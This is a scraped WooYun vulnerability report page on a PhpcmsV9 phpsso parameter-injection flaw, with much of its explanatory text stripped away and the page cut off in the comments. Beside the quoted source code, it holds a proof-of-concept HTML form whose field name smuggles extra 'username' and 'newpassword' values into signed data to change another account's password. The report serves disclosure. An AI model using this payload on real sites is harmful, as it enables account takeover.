\u671f","BUGS_RISK_CONFIM":"\u786e\u5b9a\u6b64\u6f0f\u6d1e\u4e3a\u9ad8\u5371\u5417?","BUGS_NULL_EDITE":"\u7559\u7a7a\u8868\u793a\u4e0d\u4fee\u6539","BUGS_DONE_CONFIRM":"\u8be5\u64cd\u4f5c\u6682\u65f6\u4e0d\u53ef\u9006\uff0c\u786e\u5b9a\uff1f","BUGS_UPUBLIC":"\u4f60\u4ece\u53d1\u5e03\u7684\u6f0f\u6d1e","BUGS_UPUBLIC1":"\u91cc\u53c8\u83b7\u5f97\u4e86","BUGS_PRECHECK":"\u6709\u4eba\u63d0\u524d\u67e5\u770b\u4e86\u4f60\u53d1\u5e03\u7684\u6f0f\u6d1e","BUGS_PRECHECK_UNPUBLIC":"\u63d0\u524d\u67e5\u770b\u672a\u516c\u5f00\u6f0f\u6d1e","BUGS_NUM":"\u6f0f\u6d1e\u6570\u91cf","RANKAVG":"\u4eba\u5747\u8d21\u732e Rank","CAPTCHA_GET":"\u83b7\u53d6\u9a8c\u8bc1\u7801","CAPTCHA_FILL":"\u8bf7\u8f93\u5165\u56fe\u7247\u4e2d\u7684\u9a8c\u8bc1\u7801","CAPTCHA_NULL":"\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","CAPTCHA_ERROR":"\u9a8c\u8bc1\u7801\u8f93\u5165\u9519\u8bef","CAPTCHA_PHONE_ERROR":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u6b63\u786e","CAPTCHA_PHONE_SEND":"\u9a8c\u8bc1\u7801\u5df2\u53d1\u9001\u5230\u4f60\u7684\u624b\u673a\u4e0a\u8bf7\u6ce8\u610f\u67e5\u6536","CAPTCHA_SEND_AGAIN":"\u540e\u53ef\u91cd\u53d1","CAPTCHA_SEND_OVER":"\u77ed\u4fe1\u5df2\u53d1\u9001\u6210\u529f,\u9a8c\u8bc1\u7801\u533a\u5206\u5927\u5c0f\u5199","CAPTCHA_PHONE_NO":"\u4e0d\u9700\u8981\u77ed\u4fe1\u9a8c\u8bc1\u7801","CAPTCHA_PHONE_NULL":"\u77ed\u4fe1\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PHONE_TYPE_ERROR":"\u7535\u8bdd\u683c\u5f0f\u4e0d\u5bf9","PHONE_NOTING":"\u7535\u8bdd\u4e0d\u80fd\u4e3a\u7a7a","PHONE_FILL":"\u8bf7\u586b\u5199\u624b\u673a\u53f7","PHONE_CAPTCHA_NOTING":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_NOTING":"\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_CONFIRM_NOTING":"\u5bc6\u7801\u786e\u8ba4\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_PAY_LESS":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u5c11\u4e8e6\u4f4d","PASSWORD_FILL_DIFFERENT":"\u8f93\u5165\u7684\u4e24\u6b21\u5bc6\u7801\u4e0d\u4e00\u6837","PASSWORD_PAY_LOGIN_SAME":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u540c\u767b\u9646\u5bc6\u7801\u4e00\u6837","PASSWORD_PAY_FILL":"\u8bf7\u586b\u5199\u652f\u4ed8\u5bc6\u7801","PASSWORD_LENGH_LESS":"\u5bc6\u7801\u957f\u5ea6\u4e0d\u80fd\u5c0f\u4e8e6\u4f4d","PASSWORD_SEND_OK":"\u53d1\u9001\u5bc6\u7801\u90ae\u4ef6\u6210\u529f","PASSWORD_OFER_WRROR":"\u60a8\u63d0\u4f9b\u7684\u627e\u56de\u5bc6\u7801\u4fe1\u606f\u4e0d\u6b63\u786e","PASSWORD_OLD_ERROR":"\u539f\u5bc6\u7801\u9519\u8bef","PASSWORD_UPDATE_OK":"\u5bc6\u7801\u4fee\u6539\u6210\u529f","EMAILL_USED":"\u90ae\u7bb1\u5df2\u88ab\u5360\u7528","EMAILL_NULL":"\u90ae\u7bb1\u4e0d\u80fd\u4e3a\u7a7a\uff01","NOTING":"\u65e0","LEAVEWORDS_NULL":"\u7559\u8a00\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a","LOGIN_FIRST":"\u8bf7\u5148\u767b\u5f55","CONFIRM":"\u786e\u8ba4","YEAR":"\u5e74","DAYS":"\u5929","HOURS":"\u65f6","HOUR":"\u5c0f\u65f6","MINUTE":"\u5206","SECOND":"\u79d2","IS":"\u4e3a","ONE":"\u4e00","TWE":"\u4e8c","TIMES":"\u6b21","COUNTENT_UPDATE_FILL":"\u8bf7\u586b\u5199\u4fee\u6539\u5185\u5bb9","CANCLE":"\u53d6\u6d88","OPERATE_CONFIRM":"\u786e\u5b9a\u6b64\u64cd\u4f5c\u5417\uff1f","USERNAME":"\u59d3\u540d","SUCCESS":"\u64cd\u4f5c\u6210\u529f","FAIL_REPLY":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u586b\u5199\u56de\u590d\u4fe1\u606f","SEND_OK":"\u53d1\u9001\u6210\u529f","PHONE_BIND_DONE":"\u5df2\u7ed1\u5b9a","TAGS_USE":"\u4f7f\u7528\u6b64\u6807\u7b7e","WHITEHATS":"\u767d\u5e3d\u5b50","WHITEHATS_VERTIFY":"\u8ba4\u8bc1\u767d\u5e3d\u5b50","WHITEHATES_NAME":"\u8bf7\u8f93\u5165\u767d\u5e3d\u5b50\u7528\u6237\u540d","USER_ZONE_EDIT":"\u7f16\u8f91\u9886\u57df","WB_TRANSFER":"\u6211\u8981\u8f6c\u8d26","WB_TRANSFER_CANCEL":"\u53d6\u6d88\u8f6c\u8d26","WB_NUM":"\u8bf7\u8f93\u5165\u4e4c\u4e91\u5e01\u6570\u91cf","WB_NUMBER":"\u4e4c\u4e91\u5e01\u6570\u91cf\u4e3a\u6b63\u6574\u6570","WB_NEED_LESS":"\u81f3\u5c11\u9700\u8981","WB_NEED_SUM":"\u4e2a\u4e4c\u4e91\u5e01","WB_TRANSFER_OK":"\u8f6c\u8d26\u6210\u529f","WB_MY":"\u6211\u7684\u4e4c\u4e91\u5e01","WB_CAN_USE":"\u53ef\u7528\u7684\u4e4c\u4e91\u5e01","WB_FROZEN":"\u51bb\u7ed3\u7684\u4e4c\u4e91\u5e01","WB_LACK":"\u4e4c\u4e91\u5e01\u4e0d\u8db3","WB_SET_SCOPE":"\u51fa\u4ef7\u8303\u56f4\u4e3a","WB_BIND_CANCEL_STAT":"(\u70b9\u51fb\u201c\u53d6\u6d88\u7ed1\u5b9a\u201d\u83b7\u53d6\u9a8c\u8bc1\u7801\uff0c\u5411\u4e4c\u4e91\u516c\u4f17\u8d26\u53f7\u53d1\u9001\u9a8c\u8bc1\u7801\u53d6\u6d88\u5fae\u4fe1\u7ed1\u5b9a\uff0c\u7136\u540e\u5237\u65b0\u672c\u9875\u9762)","EMAIL_LOGIN_MEXT":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_UPDATE_LOGIN_MEXT":"\u66f4\u6539\u8bf7\u6c42\u5df2\u53d1\u9001\u5230\u90ae\u7bb1,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_SEND_OK":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f\uff01","CORPS":"\u5382\u5546","TEAM_NAME_NULL":"\u56e2\u961f\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","TEAM_HOMEPAGE_NULL":"\u56e2\u961f\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","TEAM_QQ_NULL":"\u56e2\u961fqq\u4e0d\u80fd\u4e3a\u7a7a","TEAM_BRIEF_NULL":"\u56e2\u961f\u7b80\u4ecb\u4e0d\u80fd\u4e3a\u7a7a","TEAM_EXIST":"\u56e2\u961f\u5df2\u5b58\u5728","TEAM_DISMISS_CONFIRM":"\u786e\u5b9a\u89e3\u6563\u672c\u56e2\u961f\u5417?","TEAM_NAME":"\u56e2\u961f\u540d\u79f0","TEAM_CREATER":"\u521b\u5efa\u4eba","TEAM_DONATER":"\u56e2\u961f\u4e3b\u529b","TEAM_MUMBER":"\u4eba\u6570","TEAM":"\u56e2\u961f","REGISTER_BRIEF":"*\u8bf7\u8f93\u5165\u4e2a\u4eba\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_TYPE":"*\u9009\u62e9\u6ce8\u518c\u7c7b\u578b","REGISTER_CORPS_BRIEF":"*\u8f93\u5165\u5382\u5546\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_EMAIL":"*\u5382\u5546\u90ae\u4ef6\u5fc5\u987b\u4e3a\u4f01\u4e1a\u4f7f\u7528\u7684\u6b63\u5f0f\u90ae\u4ef6","REGISTER_NAME_NULL":"\u7528\u6237\u540d\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_HOMEPAGE_NULL":"\u4e2a\u4eba\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_BREIF_NULL":"\u7b80\u8981\u4ecb\u7ecd\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_CORPNAME_NULL":"\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_CORPHOMEPAGE_NULL":"\u5b98\u65b9\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_LAW_AGREE":"\u540c\u610f\u300a\u4fe1\u606f\u5b89\u5168\u76f8\u5173\u4fdd\u62a4\u548c\u58f0\u660e\u300b\u624d\u80fd\u6ce8\u518c","ATTENTION":"\u5173\u6ce8","ATTENTION_SUM":"\u5173\u6ce8\u6570","ATTENTION_DONE":"\u5df2\u5173\u6ce8","ATTENTION_CANCEL":"\u53d6\u6d88\u5173\u6ce8","ATTENTION_BUG_DONE":"\u5df2\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_BUG_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u6f0f\u6d1e\u7684\u5173\u6ce8","ATTENTION_BUG":"\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_BUG_UNDO":"\u6ca1\u6709\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_HAT_DONE":"\u5df2\u5173\u6ce8\u6b64\u767d\u5e3d\u5b50","ATTENTION_HAT_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u767d\u5e3d\u5b50\u7684\u5173\u6ce8?","COLLECTION":"\u6536\u85cf","COLLECTION_DONE":"\u5df2\u6536\u85cf","COLLECTION_BUG_DONE":"\u5df2\u6536\u85cf\u6b64\u6f0f\u6d1e","COLLECTION_BUG_UNDO":"\u6ca1\u6709\u6536\u85cf\u6b64\u6f0f\u6d1e","COLLECTION_BUG_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u6f0f\u6d1e\u7684\u6536\u85cf","SMS_SEND_NAME":"* \u7528\u6237\u6635\u79f0\/\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_TITLE":"* \u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CONTENT":"* \u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CAPTCHA":"* \u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a<br \/>","NUMBER":"\u7684\u6b63\u6574\u6570","RATING_SUCCESS":"\u8bc4\u5206\u6210\u529f","RATING_BUGS_DONE":"\u5df2\u5bf9\u6b64\u6f0f\u6d1e\u8fdb\u884c\u8fc7\u8bc4\u5206","RATING_BUGS_SELF":"\u4e0d\u80fd\u5bf9\u81ea\u5df1\u53d1\u5e03\u7684\u6f0f\u6d1e\u8fdb\u884c\u8bc4\u5206","RATING_SUBMIT_CANCLE":"\u53d6\u6d88\u63d0\u4ea4\u8bc4\u5206","RATING_SUBMIT":"\u63d0\u4ea4\u6211\u7684\u8bc4\u5206","RATING_SUBMIT_CHECK":"\u8bf7\u786e\u5b9a\u6bcf\u4e00\u9879\u90fd\u9009\u62e9\u4e86\u8bc4\u5206","RATING_CONFIRM":"\u786e\u5b9a\u63d0\u4ea4\u5bf9\u6b64\u5382\u5546\u7684\u8bc4\u5206\u5417\uff1f","RATING_LOGIN":"\u53ea\u6709\u767b\u5f55\u7684\u767d\u5e3d\u5b50\u624d\u80fd\u8bc4\u5206","RATING_DONE":"\u5df2\u7ecf\u8bc4\u8fc7\u5206\u4e86","WOOYUN_CORPS":"\u4e4c\u4e91\u5382\u5546","MARST_IMAGE":"\u5bf9\u56fe\u7247\u6253\u7801","FEEDBACK_LINK_NULL":"\u94fe\u63a5\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_LINK_ERROR":"\u8bf7\u4e66\u5199\u6b63\u786e\u7684\u94fe\u63a5\u5730\u5740\uff01","FEEDBACK_CONTENT_NULL":"\u95ee\u9898\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_ALLOW_LIMIT":"\u534a\u5c0f\u65f6\u53ea\u5141\u8bb8\u53cd\u9988\u4e00\u6b21","TOP_RANK":"\u6392\u540d","TOP_BUG_TITLE":"\u6f0f\u6d1e\u6807\u9898","TOP_RANK_NONE":"\u6682\u65e0\u6392\u540d","TOP_BUGS_GOOD":"\u4f18\u8d28\u6f0f\u6d1e\u6570","NICKNAME":"\u6635\u79f0","LEVEL":"\u7b49\u7ea7","VALUE":"\u503c","EDITOR_INSERT_PIC":"\u63d2\u5165\u56fe\u7247","EDITOR_PIC_ADDR":"\u5730\u5740\uff1a","EDITOR_CONFIRM":"\u786e\u5b9a","EDITOR_PIC_NULL":"\u8bf7\u4e0a\u4f20\u56fe\u7247\u6216\u586b\u5199\u56fe\u7247\u5730\u5740","EDITOR_INSERT_VIDIO":"\u63d2\u5165\u89c6\u9891","EDITOR_VIDIO_ADDR":"\u89c6\u9891\u5730\u5740\uff1a","EDITOR_VIDIO_NULL":"\u8bf7\u586b\u5199\u89c6\u9891\u5730\u5740(.swf)","EDITOR_VIDIO_TYPE":"\u76ee\u524d\u4ec5\u652f\u6301.swf\u683c\u5f0f","PIC_SELECT":"\u8bf7\u9009\u62e9\u5f85\u4e0a\u4f20\u7684\u56fe\u7247","PIC_TYPE_IS":"\u56fe\u7247\u7c7b\u578b\u4e3a","UPLOAD":"\u4e0a\u4f20","RANK_AVG":"\u6f0f\u6d1e\u5e73\u5747"};
$(function(){
function getParamsOfShareWindow(width, height) {
return ['toolbar=0,status=0,resizable=1,width=' + width + ',height=' + height + ',left=',(screen.width-width)/2,',top=',(screen.height-height)/2].join('');
}
});
function errimg(img){
tmp=img.src;
nimg=tmp.replace("path_to_url","path_to_url");
img.src=nimg;
$(img).parent().attr('href',nimg);
img.onerror=null;
}
function AttendBug(id){
$.get('/ajaxdo.php',{module:'attendbug',id:id,rid:Math.random(),token:$("#token").val()},function(re){
if(re==1){
$("#attention_num").html(parseInt($("#attention_num").html())+1);
$("#attend_action").html(''+_LANGJS.ATTENTION_DONE+' <a class="btn" href="javascript:void(0)" onclick="AttendCancel('+id+')">'+_LANGJS.ATTENTION_CANCEL+'</a></span>');
}else if(re==2){
alert(_LANGJS.LOGIN_FIRST);
}else if(re==3){
alert(_LANGJS.ATTENTION_BUG_DONE);
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
function AttendCancel(id){
if(confirm(_LANGJS.ATTENTION_BUG_CONFIRM+"?")){
$.get('/ajaxdo.php',{module:'attendcancel',id:id,rid:Math.random(),token:$("#token").val()},function(re){
if(re==1){
$("#attention_num").html(parseInt($("#attention_num").html())-1);
$("#attend_action").html('<a class="btn" href="javascript:void(0)" onclick="AttendBug('+id+')">'+_LANGJS.ATTENTION_BUG+'</a></span>');
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
}
function CollectBug(id,token){
$.get('/ajaxdo.php',{'module':'collect','id':id,'token':token,'rid':Math.random()},function(re){
if(re==1){
$("#collection_num").html(parseInt($("#collection_num").html())+1);
$(".btn-fav").removeClass("fav-add");
$(".btn-fav").addClass("fav-cancel");
$(".btn-fav").unbind();
$(".btn-fav").click(function(){
CollectCancel(id,token);
});
}else if(re==2){
alert(_LANGJS.LOGIN_FIRST);
}else if(re==3){
alert(_LANGJS.COLLECTION_BUG_DONE);
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
function CollectCancel(id,token){
if(confirm(_LANGJS.COLLECTION_BUG_CONFIRM+"?")){
$.get('/ajaxdo.php',{'module':'collectcancel','id':id,'token':token,'rid':Math.random()},function(re){
if(re==1){
$("#collection_num").html(parseInt($("#collection_num").html())-1);
$(".btn-fav").removeClass("fav-cancel");
$(".btn-fav").addClass("fav-add");
$(".btn-fav").unbind();
$(".btn-fav").click(function(){
CollectBug(id,token);
});
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
}
</script>
<div class="content">
<input type="hidden" id="token" style="display:none" value="" />
<h2>
<span style="margin:0 0 0 580px; float:right; position:absolute; font-size:14px; font-weight:normal">(<span id="attention_num">38</span>)
<span id="attend_action">
<a class="btn" href="javascript:void(0)" onclick="AttendBug(17119)"></a></span>
</span></h2>
<h3> <a href="wooyun-2013-017119">WooYun-2013-17119</a>
<input id="fbid" type="hidden" value="17119">
</h3>
<h3 class='wybug_title'> PhpcmsV9 2013 <img src="path_to_url" alt="" class="credit">
</h3>
<h3 class='wybug_corp'> <a href="path_to_url">
phpcms </a>
</h3>
<h3 class='wybug_author'> <a href="path_to_urlshell">shell</a></h3>
<h3 class='wybug_date'> 2013-01-09 11:37</h3>
<h3 class='wybug_open_date'> 2013-02-23 11:38</h3>
<h3 class='wybug_type'> /</h3>
<h3 class='wybug_level'> </h3>
<h3>Rank 15</h3>
<h3 class='wybug_status'>
</h3>
<h3> <a href="path_to_url">path_to_url help@wooyun.org</h3>
<h3>Tags
<span class="tag"><a href="path_to_url"></a></span>
<span class="tag"><a href="path_to_url"></a></span>
<span class="tag"><a href="path_to_url"></a></span>
<span class="tag"><a href="path_to_url">phpcms</a></span>
<span class="tag"><a href="path_to_url"></a></span>
</h3>
<h3>
<!-- Baidu Button BEGIN -->
<div id="share">
<div style="float:right; margin-right:100px;font-size:12px">
<span class="fav-num"><a id="collection_num">10</a></span>
<a style="text-decoration:none; font-size:12px" href="javascript:void(0)" class="fav-add btn-fav"></a>
<script type="text/javascript">
var token="";
var id="17119";
$(".btn-fav").click(function(){ CollectBug(id,token); });
</script>
</div>
<span style="float:left;"></span>
<div id="bdshare" class="bdshare_b" style="line-height: 12px;"><img src="path_to_url" />
<a class="shareCount"></a>
</div>
</div>
<!-- Baidu Button END -->
</h3>
<hr align="center"/>
<h2></h2>
<h3 class="detailTitle"></h3>
<p class="detail" style="padding-bottom:0">
</p>
<p class="detail wybug_open_status">
2013-01-09 <br/>
2013-01-09 <br/>
2013-01-19 <br/>
2013-01-29 <br/>
2013-02-08 <br/>
2013-02-23 <br/>
</p>
<h3 class="detailTitle"></h3>
<p class="detail wybug_description"><br />
<br />
</p>
<h3 class="detailTitle"></h3>
<div class='wybug_detail'>
<p class="detail"><br />
<br />
<a target="_blank" href="path_to_url">WooYun: PhpcmsV9 SQL 2013</a> <br />
<br />
<br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
parse_strhttpphphttpphp?a=sss&a=aaaaaaasss<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
username=zhangsan&username=lisizhangsan<br />
<br />
<br />
<br />
client<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>public function auth_data($data) {<br />
$s = $sep = '';<br />
foreach($data as $k => $v) {<br />
if(is_array($v)) {<br />
$s2 = $sep2 = '';<br />
foreach($v as $k2 => $v2) {<br />
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);<br />
$sep2 = '&';<br />
}<br />
$s .= $sep.$s2;<br />
} else {<br />
$s .= "$sep$k=".$this->_ps_stripslashes($v);<br />
}<br />
$sep = '&';<br />
}<br />
<br />
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));<br />
return $auth_s;<br />
}</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
keykey[]&<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
$a[aaa=a&bbb] = 'a';<br />
<br />
<br />
<br />
aaa=a&bbb=a<br />
<br />
<br />
<br />
key<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {<br />
if($email && !$this->_is_email($email)) {<br />
return -4;<br />
}<br />
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));<br />
}</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>public function edit() {<br />
//<br />
<br />
if($this->username) {<br />
//uid<br />
$res = $this->db->update($data, array('username'=>$this->username));<br />
} else {<br />
file_put_contents('typeb.txt',print_r($data,1).$this->uid);<br />
$res = $this->db->update($data, array('uid'=>$this->uid));<br />
}</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
uid<br />
<br />
<br />
<br />
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')<br />
<br />
<br />
<br />
uidrandomusernameemailpasswordnewpassword<br />
<br />
<br />
<br />
<br />
<br />
phpcms9/phpcms/modules/member/index.php<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
</p>
</div>
<h3 class="detailTitle"></h3>
<div class='wybug_poc'>
<p class="detail"><br />
<br />
<br />
<br />
<embed src="path_to_url" type="application/x-shockwave-flash" allowscriptaccess="never" allowfullscreen="true" wmode="opaque" width="480" height="370"></embed><br />
<br />
nicai<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code><form method="post" action="path_to_url id="myform" name="myform"><br />
<table width="100%" cellspacing="0" class="table_form"><br />
<tr><br />
<th width="80"></th> <br />
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td><br />
</tr><br />
<tr><br />
<th width="80"></th> <br />
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td><br />
</tr><br />
<tr><br />
<th></th><br />
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td><br />
</tr><br />
<th></th><br />
<td><input name="dosubmit" type="submit" id="dosubmit" value="" class="button"></td><br />
</tr><br />
</table><br />
<br />
<br />
</form></code></pre></fieldset><p class='detail'><br />
<br />
</p>
</div>
<h3 class="detailTitle"></h3>
<div class='wybug_patch'>
<p class="detail">urlencodekeyvalue<br />
<br />
<br />
<br />
xssrank<br />
<br />
<br />
<br />
</p>
</div>
<h3 class="detailTitle"> <a style="font-weight:normal" href="path_to_urlshell" title="shell">shell</a>@<a style="font-weight:normal" href="path_to_url" title="PhpcmsV9 2013"></a></h3>
<hr align="center"/>
<h2 id="bugreply"></h2>
<div class='bug_result'>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<p class="detail">Rank18 </p>
<p class="detail">2013-01-09 13:27</p>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
</div>
<hr align="center" />
<script type="text/javascript">
var bugid="17119";
var bugRating="2";
var myRating="";
var ratingCount="3";
function ShowBugRating(k){
var ratingItems=$(".myrating span");
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<=k){
$(n).addClass("on");
}else{
$(n).removeClass("on");
}
});
$(".myrating span").hover(
function(){
$("#ratingShow").html($(this).attr("data-title"));
},
function(){
$("#ratingShow").html("");
}
);
}
$(document).ready(function(){
if(myRating==""){
var ratingItems=$(".myrating span");
$(".myrating span").hover(
function(){
$(this).addClass("hover");
var k=parseInt($(this).attr("rel"));
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<k) $(n).addClass("on");
if(nk>k) $(n).removeClass("on");
});
$("#ratingShow").html($(this).attr("data-title"));
},
function(){
$(this).removeClass("hover");
if($("#myRating").val()==""){
$.each(ratingItems,function(i,n){
$(n).removeClass("on");
});
}
$("#ratingShow").html("");
}
);
$(".myrating span").click(function(){
var rating=$(this).attr("rel");
var k=parseInt($(this).attr("rel"));
$.post("/ajaxdo.php?module=bugrating",{"id":bugid,"rating":rating,"token":$("#token").val()},function(re){
//
$(".myrating span").unbind();
re=parseInt(re);
switch(re){
case 1:
$("#ratingShow").html(_LANGJS.RATING_SUCCESS);
$("#ratingSpan").html(parseInt($("#ratingSpan").html())+1);
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<=k){
$(n).addClass("on");
}else{
$(n).removeClass("on");
}
});
ShowBugRating(rating);
break;
case 2:
$("#ratingShow").html(_LANGJS.LOGIN_FIRST);
break;
case 4:
$("#ratingShow").html(_LANGJS.RATING_BUGS_DONE);
break;
case 6:
$("#ratingShow").html(_LANGJS.RATING_BUGS_SELF);
break;
default:break;
}
});
});
}else{
if(ratingCount>2){
ShowBugRating(bugRating);
}else{
ShowBugRating(-3);
}
}
});
</script>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<h5 class="rating">
<div class="ratingText"><span>(<span id="ratingSpan">3</span>)</span>:</div>
<div class="myrating">
<span rel="-2" data-title=""></span>
<span rel="-1" data-title=""></span>
<span rel="0" data-title=""></span>
<span rel="1" data-title=""></span>
<span rel="2" data-title=""></span>
<div id="ratingShow">
</div>
</div>
</h5>
<input type="hidden" id="myRating" value="" />
<div id="rating_wrap">
<span class="stars5 starstop" title=""></span><div class="power" style="width:100px"></div>
100%<br/>
<span class="stars4 starstop" title=""></span><div class="power" style="width:0px"></div>
0%<br/>
<span class="stars3 starstop" title=""></span><div class="power" style="width:0px"></div>
0%<br/>
<span class="stars2 starstop" title=""></span><div class="power" style="width:0px"></div>
0%<br/>
<span class="stars1 starstop" title=""></span><div class="power" style="width:0px"></div>
0%<br/>
</div>
<hr align="center" />
<h2></h2>
<div id="replys" class="replys">
<ol class="replylist">
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-09 11:44</span> |
<a target='_blank' href="path_to_url"></a> <img height="12" width="12" style="vertical-align:-2px;" src="path_to_url" alt="" /> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:44 :2 | )
<div class="likebox">
<span class="likepre" title="" rel="32878"></span>
<span class="liketext liketext_min"><span id="likenum_32878">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">1#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-09 11:44</span> |
<a target='_blank' href="path_to_urlshell">shell</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:70 :5 | )
<div class="likebox">
<span class="likepre" title="" rel="32879"></span>
<span class="liketext liketext_min"><span id="likenum_32879">1</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>poc </p>
</div>
<div class="replylist-act">
<span class="floor">2#</span>
<a title=" shell" href="javascript:void(0)" class="replyBtn" onclick="Reply('shell')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-09 11:55</span> |
<a target='_blank' href="path_to_url"></a> <img height="12" width="12" style="vertical-align:-2px;" src="path_to_url" alt="" /> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:1068 :80 | )
<div class="likebox">
<span class="likepre" title="" rel="32880"></span>
<span class="liketext liketext_min"><span id="likenum_32880">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>1 </p>
</div>
<div class="replylist-act">
<span class="floor">3#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-09 11:57</span> |
